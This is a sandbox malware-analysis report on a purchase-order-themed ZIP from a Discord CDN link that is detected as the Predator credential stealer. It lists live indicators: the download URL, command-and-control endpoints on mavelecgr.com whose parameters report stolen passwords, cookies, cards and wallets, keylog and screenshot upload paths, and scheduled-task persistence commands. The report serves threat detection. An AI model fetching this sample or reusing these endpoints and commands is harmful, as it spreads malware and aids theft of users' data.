Edit tour

Windows Analysis Report
https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip

Overview

General Information

Sample URL:	https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip
Analysis ID:	813186
Infos:

Detection

Predator

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Yara detected AntiVM3

Sigma detected: Scheduled temp file as task from temp location

Antivirus detection for URL or domain

Yara detected Predator

Snort IDS alert for network traffic

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Injects a PE file into a foreign processes

Yara detected Generic Downloader

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Machine Learning detection for dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Tries to harvest and steal browser information (history, passwords, etc)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

Creates processes with suspicious names

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Drops PE files

Contains capabilities to detect virtual machines

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 324 cmdline: C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip" > cmdline.out 2>&1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

wget.exe (PID: 5960 cmdline: wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip" MD5: 3DADB6E2ECE9C4B3E1E322E617658B60)

7za.exe (PID: 2636 cmdline: 7za x -y -pinfected -o"C:\Users\user\Desktop\extract" "C:\Users\user\Desktop\download\REVISED_PO.zip" MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 4468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE (PID: 3268 cmdline: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE MD5: 59E7D6D4CC9667A0D6E06DA8131CDD4D)

schtasks.exe (PID: 6132 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp483C.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 4900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE (PID: 6124 cmdline: {path} MD5: 59E7D6D4CC9667A0D6E06DA8131CDD4D)

Zip.exe (PID: 2100 cmdline: "C:\Users\user\AppData\Local\Temp\Zip.exe" MD5: 3AFD64484A2A34FC34D1155747DD3847)

RudGXFgqTDEzz.exe (PID: 1092 cmdline: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe MD5: 59E7D6D4CC9667A0D6E06DA8131CDD4D)

schtasks.exe (PID: 4044 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp20E9.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

RudGXFgqTDEzz.exe (PID: 4972 cmdline: {path} MD5: 59E7D6D4CC9667A0D6E06DA8131CDD4D)

update_232209.exe (PID: 5152 cmdline: "C:\Users\user\AppData\Local\Temp\update_232209.exe" / start MD5: 59E7D6D4CC9667A0D6E06DA8131CDD4D)

update_232209.exe (PID: 2576 cmdline: "C:\Users\user\AppData\Local\Temp\update_232209.exe" / start MD5: 59E7D6D4CC9667A0D6E06DA8131CDD4D)

schtasks.exe (PID: 5936 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp7811.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

update_232209.exe (PID: 1324 cmdline: {path} MD5: 59E7D6D4CC9667A0D6E06DA8131CDD4D)

update_232209.exe (PID: 4556 cmdline: {path} MD5: 59E7D6D4CC9667A0D6E06DA8131CDD4D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Predator	Yara detected Predator	Joe Security
00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Predator	Yara detected Predator	Joe Security
00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Predator	Yara detected Predator	Joe Security
00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Predator	Yara detected Predator	Joe Security
00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Predator	Yara detected Predator	Joe Security
00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE PID: 3268	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE PID: 3268	JoeSecurity_Predator	Yara detected Predator	Joe Security
Process Memory Space: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE PID: 3268	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE PID: 6124	JoeSecurity_Predator	Yara detected Predator	Joe Security
Process Memory Space: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE PID: 6124	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RudGXFgqTDEzz.exe PID: 1092	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: update_232209.exe PID: 5152	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: update_232209.exe PID: 5152	JoeSecurity_Predator	Yara detected Predator	Joe Security
Process Memory Space: update_232209.exe PID: 5152	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: update_232209.exe PID: 2576	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RudGXFgqTDEzz.exe PID: 4972	JoeSecurity_Predator	Yara detected Predator	Joe Security
Process Memory Space: RudGXFgqTDEzz.exe PID: 4972	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.3a36b40.2.raw.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.3a36b40.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.3a36b40.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.3a36b40.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x1c44a:$s1: \Vpn\NordVPN 0x2032e:$s2: \VPN\OpenVPN 0x2039c:$s3: \VPN\ProtonVPN
11.2.RudGXFgqTDEzz.exe.2ff855c.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste	Detects executables potentially checking for WinJail sandbox window	ditekSHen	0x3de50:$v1: SbieDll.dll 0x3dea4:$v2: USER 0x3deec:$v3: SANDBOX 0x3e13c:$v3: SANDBOX 0x3df38:$v4: VIRUS 0x3e0b2:$v4: VIRUS 0x3df80:$v5: MALWARE 0x3dfcc:$v6: SCHMIDTI 0x3e01c:$v7: CURRENTUSER
11.2.RudGXFgqTDEzz.exe.3000698.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste	Detects executables potentially checking for WinJail sandbox window	ditekSHen	0x35d14:$v1: SbieDll.dll 0x35d68:$v2: USER 0x35db0:$v3: SANDBOX 0x36000:$v3: SANDBOX 0x35dfc:$v4: VIRUS 0x35f76:$v4: VIRUS 0x35e44:$v5: MALWARE 0x35e90:$v6: SCHMIDTI 0x35ee0:$v7: CURRENTUSER
19.2.update_232209.exe.4329ff8.3.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
19.2.update_232209.exe.4329ff8.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.update_232209.exe.4329ff8.3.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x7e732:$s1: \Vpn\NordVPN 0x82616:$s2: \VPN\OpenVPN 0x82684:$s3: \VPN\ProtonVPN
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d76b.3.raw.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d76b.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d76b.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d76b.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x7fd2f:$s1: \Vpn\NordVPN 0x83c13:$s2: \VPN\OpenVPN 0x83c81:$s3: \VPN\ProtonVPN
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.39d325b.4.raw.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.39d325b.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.39d325b.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.39d325b.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x7fd2f:$s1: \Vpn\NordVPN 0x83c13:$s2: \VPN\OpenVPN 0x83c81:$s3: \VPN\ProtonVPN
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.38c1050.8.raw.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.38c1050.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.38c1050.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.38c1050.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x1c44a:$s1: \Vpn\NordVPN 0x2032e:$s2: \VPN\OpenVPN 0x2039c:$s3: \VPN\ProtonVPN
19.2.update_232209.exe.4329ff8.3.raw.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
19.2.update_232209.exe.4329ff8.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
19.2.update_232209.exe.4329ff8.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.update_232209.exe.4329ff8.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x80332:$s1: \Vpn\NordVPN 0x84216:$s2: \VPN\OpenVPN 0x84284:$s3: \VPN\ProtonVPN
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x7e732:$s1: \Vpn\NordVPN 0x82616:$s2: \VPN\OpenVPN 0x82684:$s3: \VPN\ProtonVPN
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.raw.unpack	JoeSecurity_Predator	Yara detected Predator	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x80332:$s1: \Vpn\NordVPN 0x84216:$s2: \VPN\OpenVPN 0x84284:$s3: \VPN\ProtonVPN
Click to see the 27 entries

Sigma Signatures

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp483C.tmp, CommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp483C.tmp, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, ParentImage: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, ParentProcessId: 3268, ParentProcessName: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, ProcessCommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp483C.tmp, ProcessId: 6132, ProcessName: schtasks.exe

Snort Signatures

ET TROJAN Generic gate .php GET with minimal headers - Source IP: 192.168.2.3 - Destination IP: 89.45.67.2

Timestamp:	192.168.2.389.45.67.249706802022818 02/22/23-09:43:20.754674
SID:	2022818
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Generic gate .php GET with minimal headers - Source IP: 192.168.2.3 - Destination IP: 89.45.67.2

Timestamp:	192.168.2.389.45.67.249713802022818 02/22/23-09:43:42.586040
SID:	2022818
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Generic gate .php GET with minimal headers - Source IP: 192.168.2.3 - Destination IP: 89.45.67.2

Timestamp:	192.168.2.389.45.67.249729802022818 02/22/23-09:44:19.763373
SID:	2022818
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Generic gate .php GET with minimal headers - Source IP: 192.168.2.3 - Destination IP: 89.45.67.2

Timestamp:	192.168.2.389.45.67.249715802022818 02/22/23-09:43:53.926118
SID:	2022818
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Generic gate .php GET with minimal headers - Source IP: 192.168.2.3 - Destination IP: 89.45.67.2

Timestamp:	192.168.2.389.45.67.249704802022818 02/22/23-09:43:03.216939
SID:	2022818
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Generic gate .php GET with minimal headers - Source IP: 192.168.2.3 - Destination IP: 89.45.67.2

Timestamp:	192.168.2.389.45.67.249710802022818 02/22/23-09:43:30.660160
SID:	2022818
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Generic gate .php GET with minimal headers - Source IP: 192.168.2.3 - Destination IP: 89.45.67.2

Timestamp:	192.168.2.389.45.67.249723802022818 02/22/23-09:44:12.906499
SID:	2022818
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://mavelecgr.com/webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=14&AutoF	Avira URL Cloud: Label: malware
Source: http://mavelecgr.com	Avira URL Cloud: Label: malware
Source: http://mavelecgr.com/webpanel//screen.php?hwid=CHC8BC548DD2	Avira URL Cloud: Label: malware
Source: http://mavelecgr.com/webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=0&AutoFill=0&Wallets=0	Avira URL Cloud: Label: malware
Source: http://mavelecgr.com/webpanel//gate.php?hwid=CHC8BC548DD2	Avira URL Cloud: Label: malware
Source: http://mavelecgr.com/webpanel//config.json	Avira URL Cloud: Label: malware
Source: http://mavelecgr.com/webpanel//logs.php?hwid=CHC8BC548DD2&Passwords=0&CreditCards=0&Cookies=14&AutoFill=0&Wallets=0	Avira URL Cloud: Label: malware
Source: http://mavelecgr.com/webpanel//keylogs.php?hwid=CHC8BC548DD2	Avira URL Cloud: Label: malware
Source: http://mavelecgr.com/webpanel/	Avira URL Cloud: Label: malware

Yara detected Predator

Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.3a36b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.update_232209.exe.4329ff8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d76b.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.39d325b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.38c1050.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.update_232209.exe.4329ff8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.544366293.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.543538697.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE PID: 3268, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE PID: 6124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232209.exe PID: 5152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RudGXFgqTDEzz.exe PID: 4972, type: MEMORYSTR

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Joe Sandbox ML: detected

Source: unknown

HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:49696 version: TLS 1.2

Source:	Binary string: \gom_v_4.0\Zip\Zip\obj\Debug\Zip.pdb source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000000.341283910.00000285A0678000.00000002.00000001.01000000.0000000F.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.0000000003236000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.528716221.000000000046A000.00000040.00000400.00020000.00000000.sdmp, Zip.exe.8.dr
Source:	Binary string: \gom_v_4.0\update_windows10\update_windows10\obj\Debug\update_windows10.pdbp source: RudGXFgqTDEzz.exe, 0000000B.00000002.470730993.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: XkPw5Vj.pdb source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000000.250556633.0000000000372000.00000002.00000001.01000000.00000004.sdmp, RudGXFgqTDEzz.exe.5.dr, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.3.dr
Source:	Binary string: c:\Temp\Json\Working\Newtonsoft.Json\Src\Newtonsoft.Json\obj\Release\Newtonsoft.Json.pdb source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.529034520.0000000000461000.00000040.00000400.00020000.00000000.sdmp, update_232209.exe, 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004201000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004264000.00000004.00000800.00020000.00000000.sdmp, Newtonsoft.Json.dll0.8.dr, Newtonsoft.Json.dll.8.dr
Source:	Binary string: \gom_v_4.0\update_windows10\update_windows10\obj\Debug\update_windows10.pdb source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.288822367.000000000289B000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 0000000B.00000002.470730993.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000015.00000002.472143566.00000000035D8000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.528716221.0000000000486000.00000040.00000400.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	11_2_0E5AE070
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	11_2_0E5AE060
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	11_2_0E5AF0D8
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	11_2_0E5AF0E8

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2022818 ET TROJAN Generic gate .php GET with minimal headers 192.168.2.3:49704 -> 89.45.67.2:80
Source: Traffic	Snort IDS: 2022818 ET TROJAN Generic gate .php GET with minimal headers 192.168.2.3:49706 -> 89.45.67.2:80
Source: Traffic	Snort IDS: 2022818 ET TROJAN Generic gate .php GET with minimal headers 192.168.2.3:49710 -> 89.45.67.2:80
Source: Traffic	Snort IDS: 2022818 ET TROJAN Generic gate .php GET with minimal headers 192.168.2.3:49713 -> 89.45.67.2:80
Source: Traffic	Snort IDS: 2022818 ET TROJAN Generic gate .php GET with minimal headers 192.168.2.3:49715 -> 89.45.67.2:80
Source: Traffic	Snort IDS: 2022818 ET TROJAN Generic gate .php GET with minimal headers 192.168.2.3:49723 -> 89.45.67.2:80
Source: Traffic	Snort IDS: 2022818 ET TROJAN Generic gate .php GET with minimal headers 192.168.2.3:49729 -> 89.45.67.2:80

Yara detected Generic Downloader

Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.3a36b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d76b.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.39d325b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.38c1050.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.update_232209.exe.4329ff8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.385d168.6.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
